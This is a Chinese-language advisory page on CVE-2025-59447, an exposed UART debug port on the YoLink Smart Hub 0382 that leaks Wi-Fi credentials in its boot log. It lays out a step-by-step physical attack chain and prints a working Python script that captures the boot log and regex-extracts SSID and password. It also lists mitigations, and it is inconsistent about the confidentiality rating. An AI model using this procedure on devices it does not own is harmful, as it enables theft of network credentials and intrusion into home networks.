IPBUF安全漏洞报告
English
CVE-2025-59447 CVSS 2.2 低危

CVE-2025-59447:YoSmart YoLink智能集线器UART调试接口凭证泄露漏洞

披露日期: 2025-10-06

漏洞信息

漏洞编号
CVE-2025-59447
漏洞类型
信息泄露/调试接口暴露/敏感凭证泄露
CVSS评分
2.2 低危
攻击向量
物理 (AV:P)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
YoSmart YoLink Smart Hub 0382

相关标签

CVE-2025-59447信息泄露UART调试接口IoT安全智能家居YoSmartYoLink物理访问凭证泄露Bishop Fox

漏洞概述

CVE-2025-59447是存在于YoSmart YoLink Smart Hub 0382智能家居集线器设备中的一个安全漏洞。该漏洞源于设备在硬件层面暴露了UART(通用异步收发传输器)调试接口,且该接口未受到充分的物理保护或访问控制。UART接口是嵌入式设备开发阶段常用的调试通道,通常用于输出启动日志、内核信息及系统调试数据。然而,在该设备的量产版本中,UART接口仍然处于可访问状态,攻击者只需通过物理接触设备即可连接该接口。

通过该调试接口,攻击者可以读取设备的完整启动日志(boot log),而启动日志中包含了设备的网络访问凭证(network access credentials),例如Wi-Fi SSID、密码或其他网络认证信息。一旦攻击者获取这些凭证,便可接入设备所在的本地网络,进一步对网络中的其他设备发起攻击,或对智能家居系统进行未授权控制。

该漏洞由Bishop Fox安全研究团队发现并披露,其CVSS 3.1评分为2.2分,严重等级为LOW。虽然评分较低,但该漏洞的危害性不容忽视——它直接导致用户网络凭证的物理泄露,可能成为更大规模攻击的入口点。此外,该漏洞的利用需要物理接触设备(AV:P),且机密性影响为高(C:H),攻击复杂度较高(AC:H),这使得其整体评分偏低,但在特定场景下(如设备被盗窃、设备维修过程中被接触等)仍具有实际威胁。

技术细节

该漏洞的技术原理在于YoSmart YoLink Smart Hub 0382设备的UART调试接口在生产环境中未进行物理禁用或加密保护。UART是嵌入式系统中广泛使用的串行通信接口,开发人员通常通过该接口进行固件烧录、系统调试和日志输出。在设备开发完成后,制造商通常应通过熔断保险丝(blowing fuses)、移除调试引脚或禁用串行控制台等方式来关闭调试接口,防止未授权访问。

然而,YoSmart YoLink Smart Hub 0382并未采取上述保护措施。攻击者可以通过以下方式利用该漏洞:

1. 物理拆解设备外壳,找到PCB板上的UART调试引脚(通常为TX、RX、GND三个引脚,标记为测试点或焊盘)。
2. 使用USB转TTL串口适配器(如CP2102、FTDI FT232等)连接设备的UART引脚,波特率通常设置为115200(或根据设备规格调整)。
3. 打开串口终端工具(如minicom、PuTTY、screen等),读取设备启动时输出的完整日志信息。
4. 从启动日志中提取网络凭证信息,包括Wi-Fi网络的SSID和密码、API密钥或其他认证令牌。
5. 利用获取的网络凭证接入本地网络,执行后续攻击。

该漏洞的攻击向量为物理(AV:P),攻击复杂度为高(AC:H),因为需要拆解设备并正确识别UART引脚;无需特权(PR:N)和用户交互(UI:N);影响范围为已变更(S:C),表明该漏洞的影响会传播到其他组件;机密性影响为高(C:L),完整性和可用性影响均为无。

攻击链分析

STEP 1
步骤1:物理获取设备
攻击者通过盗窃、伪装维修人员、获取设备临时控制权等方式获得对YoSmart YoLink Smart Hub 0382设备的物理接触机会。
STEP 2
步骤2:拆解设备暴露PCB
攻击者拆开设备外壳,在PCB电路板上寻找UART调试接口的测试点(Test Points),通常为TX、RX、GND三个裸露焊盘或排针。
STEP 3
步骤3:连接UART调试设备
使用USB转TTL串口适配器(如CP2102、FTDI FT232RL等)连接设备的UART引脚,通过串口终端工具(如minicom、PuTTY、screen等)建立通信,波特率通常为115200。
STEP 4
步骤4:读取启动日志
通过UART接口读取设备启动时输出的完整日志信息(boot log),日志中可能包含内核启动信息、硬件初始化过程、网络配置加载等敏感数据。
STEP 5
步骤5:提取网络凭证
从启动日志中解析并提取Wi-Fi SSID、密码、API密钥或其他网络认证凭证信息。
STEP 6
步骤6:接入本地网络
利用获取的网络凭证接入设备所在的本地Wi-Fi网络,为后续的网络内横向移动攻击奠定基础。
STEP 7
步骤7:进一步攻击
在接入本地网络后,攻击者可进一步扫描网络中的其他智能家居设备、物联网设备或计算机,尝试获取更多控制权或窃取更多敏感数据。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ CVE-2025-59447 - YoSmart YoLink Smart Hub UART Debug Interface Credential Disclosure PoC for reading boot log from exposed UART debug interface to extract network credentials. Requirements: - USB-to-TTL serial adapter (e.g., CP2102, FTDI FT232RL) - Physical access to YoSmart YoLink Smart Hub 0382 - pyserial library (pip install pyserial) Usage: 1. Disassemble the YoLink Smart Hub to expose the PCB 2. Identify UART test points (TX, RX, GND) on the board 3. Connect USB-to-TTL adapter: TX->RX, RX->TX, GND->GND 4. Run: python3 cve-2025-59447_poc.py /dev/ttyUSB0 """ import serial import sys import re import time def read_boot_log(serial_port, baudrate=115200, timeout=30): """Connect to UART and capture boot log output.""" try: ser = serial.Serial( port=serial_port, baudrate=baudrate, bytesize=serial.EIGHTBITS, parity=serial.PARITY_NONE, stopbits=serial.STOPBITS_ONE, timeout=timeout ) print(f"[*] Connected to {serial_port} at {baudrate} baud") print("[*] Waiting for boot log output (power cycle the device if needed)...") boot_log = "" start_time = time.time() while time.time() - start_time < timeout: if ser.in_waiting > 0: data = ser.read(ser.in_waiting).decode('utf-8', errors='ignore') boot_log += data print(data, end='', flush=True) ser.close() return boot_log except serial.SerialException as e: print(f"[!] Serial error: {e}") return None def extract_credentials(boot_log): """Extract network credentials from boot log.""" credentials = {} # Common patterns for Wi-Fi credentials in boot logs ssid_patterns = [ r'SSID[\s:=]+([\w\-\.\s]+)', r'wifi[\s_]*ssid[\s:=]+([\w\-\.\s]+)', r'wlan[\s_]*ssid[\s:=]+([\w\-\.\s]+)', ] passwd_patterns = [ r'(?:password|passwd|passphrase|pwd|psk)[\s:=]+([\S]+)', r'wifi[\s_]*(?:password|passwd|passphrase|pwd|psk)[\s:=]+([\S]+)', r'wlan[\s_]*(?:password|passwd|passphrase|pwd|psk)[\s:=]+([\S]+)', ] for pattern in ssid_patterns: match = re.search(pattern, boot_log, re.IGNORECASE) if match: credentials['ssid'] = match.group(1).strip() break for pattern in passwd_patterns: match = re.search(pattern, boot_log, re.IGNORECASE) if match: credentials['password'] = match.group(1).strip() break return credentials if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <serial_port> [baudrate]") print(f"Example: {sys.argv[0]} /dev/ttyUSB0 115200") sys.exit(1) port = sys.argv[1] baud = int(sys.argv[2]) if len(sys.argv) > 2 else 115200 print("=" * 60) print("CVE-2025-59447 - YoLink Smart Hub UART Credential Leak PoC") print("=" * 60) log = read_boot_log(port, baud) if log: print("\n[*] Extracting credentials from boot log...") creds = extract_credentials(log) if creds: print(f"\n[!] Extracted Credentials:") for key, value in creds.items(): print(f" {key}: {value}") else: print("[!] No credentials found in boot log")

影响范围

YoSmart YoLink Smart Hub 0382

防御指南

临时缓解措施
在等待官方修复期间,建议采取以下临时缓解措施:1)将YoLink Smart Hub放置在安全的物理环境中,如上锁的配电箱或不可轻易接触的位置;2)在路由器中为IoT设备创建独立的访客网络或VLAN,限制潜在攻击者的网络访问范围;3)定期更换家庭Wi-Fi密码,减少已泄露凭证的有效性;4)监控路由器日志,及时发现可疑的网络连接;5)考虑使用胶水或环氧树脂覆盖PCB上的UART测试点,物理阻断调试接口的访问。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表